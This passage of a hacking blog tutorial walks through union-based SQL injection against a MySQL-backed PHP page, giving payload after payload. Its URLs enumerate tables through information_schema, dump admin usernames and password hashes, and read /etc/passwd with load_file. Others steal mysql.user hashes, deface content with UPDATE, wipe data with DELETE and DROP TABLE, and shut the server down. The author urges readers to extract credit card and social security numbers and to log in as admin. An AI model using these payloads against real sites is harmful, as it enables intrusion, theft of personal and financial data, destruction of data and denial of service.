&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 order by 2/*&lt;/pre&gt;
&lt;/div&gt;
Still no error&lt;br /&gt;
So, we need to increase until we get the error.&lt;br /&gt;
&lt;br /&gt;
In my example, I got error when I put the value 3 i.e.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 order by 3/*&lt;/pre&gt;
&lt;/div&gt;
This gave me error.&lt;br /&gt;
&lt;br /&gt;
So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;addvul&quot;&gt;&lt;/a&gt;Addressing Vulnerable Part&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, we need to use union statement &amp;amp; find the column which we can replace so as to see the secret data on the page.&lt;br /&gt;
&lt;br /&gt;
First lets craft the union statement which won&#39;t error.. This becomes like this:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT null/*&lt;/pre&gt;
&lt;/div&gt;
This would error because our query needs to have one more null 
there.. Also null doesnot cause any type conversion error as it is just 
null..&lt;br /&gt;
&lt;br /&gt;
So for our injection, it becomes:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT null,null/*&lt;/pre&gt;
&lt;/div&gt;
For this we do:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT 1,2/*&lt;/pre&gt;
&lt;/div&gt;
Now we will see the number(s) on the page somewhere. I mean, 
either 1 or 2 or both 1 &amp;amp; 2 are seen on the page. Note that the 
number may be displayed anywhere like in the title of the page or 
sometime even in the hidden tags in the source.. So, this means we can 
replace the number with our commands to display the private data the DB 
holds.&lt;br /&gt;
&lt;br /&gt;
In my example, 1 is seen on the page. This means, I should replace 1 
with my thingsto proceed further. Got it??So lets move forward.&lt;br /&gt;
&lt;br /&gt;
Quick note: Sometime the numbers may not be displayed so it becomes hard
 for you to find the column which you can use to steal the data.. So in 
that case, you may try something like below:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT h4ck,null/*&lt;/pre&gt;
&lt;/div&gt;
or&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT null,h4ck/*&lt;/pre&gt;
&lt;/div&gt;
If h4ck is displayed somewhere in the page, you may go further 
for injection replacing the text part... Here, I have kept text instead 
of integer to check if text is displayed... Also, be sure to check 
source because sometimes they may be in some hidden tags..&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;mysqlversion&quot;&gt;&lt;/a&gt;Finding MySQL version:&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
For our injection, it is necessary to find the MySQL version because if 
it is 5, our job becomes lot easier. To check the version, there is a 
function @@version or version().&lt;br /&gt;
&lt;br /&gt;
So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT @@version,2/*&lt;/pre&gt;
&lt;/div&gt;
or&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT version(),2/*&lt;/pre&gt;
&lt;/div&gt;
So, this would return the version of MySQL running on the server.&lt;br /&gt;
&lt;br /&gt;
But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*&lt;/pre&gt;
&lt;/div&gt;
Remember that if u have to use unhex(hex()) function here, u will 
also have to use this function in the injection process later on.&lt;br /&gt;
&lt;br /&gt;
@@version will give u the version. It may be either 4(or below) or 5 
&amp;amp; above. I m now going to discuss the injection process for version 5
 and 4 separately coz as I said earlier, version 5 makes it easy for us 
to perform the injection.&lt;br /&gt;
&lt;br /&gt;
Quick note: Also, you may check for user, database,etc.. by using following:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 50px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT user(),2/*
site.com/article.php?id=5 UNION ALL SELECT database(),2/*&lt;/pre&gt;
&lt;/div&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;mysql5&quot;&gt;&lt;/a&gt;MySQL 5 or above injection:&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
Here, I m gonna show u how to access data in the server running MySQL 5 or above.&lt;br /&gt;
&lt;br /&gt;
U got MySQL version 5.0.27 standard using the @@version in url 
parameter. MySQL from version 5 has a useful function called 
information_schema. This is table that holds information about the 
tables and columns present in the DB server. That is, it contains name 
of all tables and columns of the site.&lt;br /&gt;
&lt;br /&gt;
For getting table list, we use: table_name from information_schema.tables&lt;br /&gt;
&lt;br /&gt;
For getting column list, we use: column_name from information_schema.columns&lt;br /&gt;
&lt;br /&gt;
So our query for getting the table list in our example would be:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*&lt;/pre&gt;
&lt;/div&gt;
And yeah if u had to use unhex(hex()) while finding version, u will have to do:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*&lt;/pre&gt;
&lt;/div&gt;
This will list all the tables present in the DB. For our purpose, 
we will be searching for the table containing the user and password 
information. So we look the probable table with that information. U can 
even write down the table names for further reference and works. For my 
example, I would use the tbluser as the table that contains user &amp;amp; 
password.&lt;br /&gt;
&lt;br /&gt;
Similarly, to get the column list, we would make our query as:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*&lt;/pre&gt;
&lt;/div&gt;
This returns all the columns present in the DB server. Now from 
this listing, we will look for the probable columns for username and 
password. For my injection, there are two columns holding these info. 
They are username and password respectively. So that&#39;s the column what I
 wanted. U have to search and check the columns until u get no error.&lt;br /&gt;
&lt;br /&gt;
Alternatively to find the column in the specific table, u can do something like below:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name=&#39;tbluser&#39;&lt;/pre&gt;
&lt;/div&gt;
This would display the columns present in the table tbluser. But this may not work always based on PHP.INI so hex up.&lt;br /&gt;
&lt;br /&gt;
Let me show u how I got to know that the above two columns belong to 
table tbluser. Now let me show how to display the username and password 
stored in the DB.&lt;br /&gt;
&lt;br /&gt;
There is a function called concat() that allows me to join the two 
columns and display on the page. Also I will be using semicolon) in the 
hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)&lt;br /&gt;
&lt;br /&gt;
What I do is:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*&lt;/pre&gt;
&lt;/div&gt;
And this gives me the username and password like below:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;admin:9F14974D57DE204E37C11AEAC3EE4940&lt;/pre&gt;
&lt;/div&gt;
Here the password is hashed and in this case, its MD5. Now u need 
to get the hash cracker like John The Ripper(openwalls.org), Cain &amp;amp; 
Able(oxid.it) and crack the hash. The hash may be different like SHA1, 
MD5,etc.. or sometimes plaintext password may be shown on the page. In 
this case, when I crack I get the password as h4ck.&lt;br /&gt;
&lt;br /&gt;
Now u get to admin login page and login as admin. Then u can do whatever u like. So that&#39;s all for the MySQL version 5.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;mysql4&quot;&gt;&lt;/a&gt;MySQL version 4 injection:&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
Now say ur victim has MySQL version 4. Then u won&#39;t be able to get the 
table name and column name as in MySQL version 5 because it lacks 
support for information_schema.tables and information_schema.columns. So
 now u will have to guess the table name and column name until u do not 
get error. Also, if the MySQL version is below 5, you may have to depend
 on the luck &amp;amp; error messages displayed.. Sometimes the error will 
give you the table name &amp;amp; column name &amp;amp; that gives you some idea
 to guess the correct table &amp;amp; columns name.. Say, the error reports h4ck _article in the error.. So, you know that h4ck_ is the prefix 
used in the table names...&lt;br /&gt;
&lt;br /&gt;
Anyway, lets go for MySQL version 4 injection...&lt;br /&gt;
&lt;br /&gt;
For example, u would do as below:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*&lt;/pre&gt;
&lt;/div&gt;
Here, I guessed for the table name as user. But this gave me the 
error because the table with the name user didn&#39;t exist on the DB. Now I
 kept on guessing for the table name until I didn&#39;t get error.&lt;br /&gt;
&lt;br /&gt;
When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*&lt;/pre&gt;
&lt;/div&gt;
The page loaded normally. Now again u have to guess the column names present in the tbluser table.&lt;br /&gt;
&lt;br /&gt;
I do something like below:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 146px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*
    //this gave me error so there is no column with this name.
    site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*
    //It loaded the page normally along with the username from the table.
    site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*
    //it errored so again the column pass doesnot exist in the table tbluser.
    site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*
    //the page loaded normally with password hash(or plaintext password).&lt;/pre&gt;
&lt;/div&gt;
Now u may do this:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*&lt;/pre&gt;
&lt;/div&gt;
This gave me:&lt;br /&gt;
admin:9F14974D57DE204E37C11AEAC3EE4940&lt;br /&gt;
&lt;br /&gt;
On cracking, I got h4ck as password. Now I just need to login the site and do whatever I wanted.&lt;br /&gt;
&lt;br /&gt;
Few table names u may try are: user(s), table_user(s), tbluser(s), 
tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on
 the errors because sometime they give fortunately for us the errors 
with table names &amp;amp; column names...&lt;br /&gt;
&lt;br /&gt;
U may try these methods so as to get various data such as credit card 
numbers, social security numbers, etc. and etc. if the database holds. 
Just what u need to do is figure out the columns and get them displayed 
on the vulnerable page. That&#39;s all on the injection for accessing secret
 data.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;modify&quot;&gt;&lt;/a&gt;Modifying Site Content&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
Sometime, u find the vulnerable site and get evrything to know but maybe
 admin login doesn&#39;t exist or it is accessible for certain IP range. 
Even in that context, u can use some kewl SQL commands for modifying the
 site content. I haven&#39;t seen much articles addressing this one so 
thought to include it here.&lt;br /&gt;
&lt;br /&gt;
Here, I will basically talk about few SQL commands u may use to change 
the site content. Therse commands are the workhorse of MySQL &amp;amp; are 
deadly when executed. But stacked queries donot work in MySQL.&lt;br /&gt;
&lt;br /&gt;
First let me list these commands:&lt;br /&gt;
&lt;br /&gt;
UPDATE: It is used to edit infos already in the db without deleting any rows.&lt;br /&gt;
DELETE: It is used to delete the contents of one or more fields.&lt;br /&gt;
DROP: It is used completely delete a table &amp;amp; all its associated data.&lt;br /&gt;
Now, u could have figured out that these commands can be very 
desctructive if the site lets us to interact with db with no 
sanitization &amp;amp; proper permission.&lt;br /&gt;
Command Usage:&lt;br /&gt;
UPDATE: Our vulnerable page is:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5&lt;/pre&gt;
&lt;/div&gt;
Lets say the query is:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;SELECT title,data,author FROM article WHERE id=5&lt;/pre&gt;
&lt;/div&gt;
Though in reality, we don&#39;t know the query as above, we can find the table and column name as discussed earlier.&lt;br /&gt;
&lt;br /&gt;
So we would do:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UPDATE article SET title=&#39;Hacked By h4ck&#39;/*&lt;/pre&gt;
&lt;/div&gt;
or, u could alternatively do:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 50px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UPDATE article SET title=&#39;HACKED BY h4ck&#39;,data=&#39;Ur site has zero    
    security&#39;,author=&#39;h4ck&#39;/*&lt;/pre&gt;
&lt;/div&gt;
By executing first query, we have set the title value as &#39;Hacked 
By h4ck&#39; in the table article while in second query, we have updated 
all three fields title, data, &amp;amp; author in the table article.&lt;br /&gt;
Sometimes, u may want to change the specific page with id=5. For this u will do:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UPDATE article SET title=&#39;value 1&#39;,data=&#39;value 2&#39;,author=&#39;value 3&#39; WHERE id=5/*&lt;/pre&gt;
&lt;/div&gt;
DELETE:As already stated, this deletes the content of one or more fields permanently from the db server.&lt;br /&gt;
The syntax is:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 DELETE title,data,author FROM article/*&lt;/pre&gt;
&lt;/div&gt;
or if u want to delete these fields from the id=5, u will do:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*&lt;/pre&gt;
&lt;/div&gt;
DROP:This is another deadly command u can use. With this, u can delete a table &amp;amp; all its associated data.&lt;br /&gt;
For this, we make our URL as:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 DROP TABLE article/*&lt;/pre&gt;
&lt;/div&gt;
This would delete table article &amp;amp; all its contents.&lt;br /&gt;
&lt;br /&gt;
Finally, I want to say little about ;&lt;br /&gt;
&lt;br /&gt;
Though I have not used this in my tutorial, u can use it to end ur first query and start another one.&lt;br /&gt;
&lt;br /&gt;
This ; can be kept at the end of our first query so that we can start new query after it.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;shutdown&quot;&gt;&lt;/a&gt;Shutting Down MySQL Server&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
This is like DoSing the server as it will make the MySQL resources 
unavailable for the legitimate users or site visitors... For this, you 
will be using: SHUTDOWN WITH NOWAIT;&lt;br /&gt;
&lt;br /&gt;
So, you would craft a query which would execute the above command...&lt;br /&gt;
&lt;br /&gt;
For example, in my case, I would do the following:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;&lt;/pre&gt;
&lt;/div&gt;
WOW! the MySQL server is down... This would prevent legitimate 
users &amp;amp; site visitors from using or viewing MySQL resources...&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;loadfile&quot;&gt;&lt;/a&gt;Loadfile&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
MySQL has a function called load_file which you can use for your 
benefits again.. I have not seen much site where I could use this 
function... I think we should have MySQL root privilege for this.... 
Also, the magic quotes should be off for this.. But there is a way to 
get past the magic quotes... load_file can be used to load certain files
 of the server such as .htaccess, .htpasswd, etc.. &amp;amp; also password 
files like etc/passwd, etc..&lt;br /&gt;
&lt;br /&gt;
Do something like below:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT load_file(&#39;etc/passwd&#39;),2/*&lt;/pre&gt;
&lt;/div&gt;
But sometimes, you will have to hex the part &amp;amp; do something like below:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)&lt;/pre&gt;
&lt;/div&gt;
where I have hexed... Now, if we are lucky, the script would echo the etc/passwd in the result..&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;mysqlroot&quot;&gt;&lt;/a&gt;MySQL Root&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
If the MySQL version is 5 or above, we might be able to gain MySQL root 
privilege which will again be helpful for us.. MySQL servers from 
version 5 have a table called mysql.user which contains the hashes &amp;amp;
 usernames for login... It is in the user table of the MySQL database 
which ships with every installation of MySQL..&lt;br /&gt;
&lt;br /&gt;
For this, you will do:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*&lt;/pre&gt;
&lt;/div&gt;
Now you will get the usernames &amp;amp; hashes.. The hash is 
mysqlsha1... Quick note: JTR won&#39;t crack it.. But insidepro.com has one 
to do it..&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;commands&quot;&gt;&lt;/a&gt;Major MySQL Commands&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
Below, I would list some major MySQL commands that might help you a 
lot... Play with them in different ways by setting up a MySQL server in 
your computer..&lt;br /&gt;
&lt;br /&gt;
All the commands here are copy pasted from the post at h4cky0u &amp;amp; the
 credit for this part goes to the original author.. This is the only 
part which I didn&#39;t write myself.. I could have but since there is 
better one, I thought to put the same part here.. Thanks to whoever 
posted this in h4cky0u site.. &amp;amp; also full credits to him/her for 
this part..&lt;br /&gt;
&lt;br /&gt;
